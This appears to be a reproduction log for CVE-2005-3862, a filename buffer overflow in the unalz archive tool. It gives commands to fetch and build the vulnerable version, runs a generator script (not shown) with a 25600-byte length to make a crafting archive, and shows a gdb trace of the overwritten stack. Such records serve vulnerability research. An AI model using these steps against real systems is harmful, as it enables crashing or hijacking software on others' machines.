CentOS 6.4
Ubuntu 14.04
wget https://github.com/mudongliang/source-packages/raw/master/CVE-2005-3862/unalz-0.52.tgz
tar -xvf unalz-0.52.tgz
cd unalz
make linux-utf8
add the following header files in UnAlz.h
#include <stdlib.h>
#include <string.h>
perl alzgen.pl 25600 test
./unalz/unalz test
Unalz 0.x - Archive Filename Buffer Overflow
UnAlz.cpp:427
strncpy(inbuf, zipHeader.fileName, size);
(gdb) info stack
#0 UNALZ::CUnAlz::ReadLocalFileheader (this=0x55555555) at UnAlz.cpp:428
#1 0x55555555 in ?? ()
#2 0x55555555 in ?? ()
#3 0x55555555 in ?? ()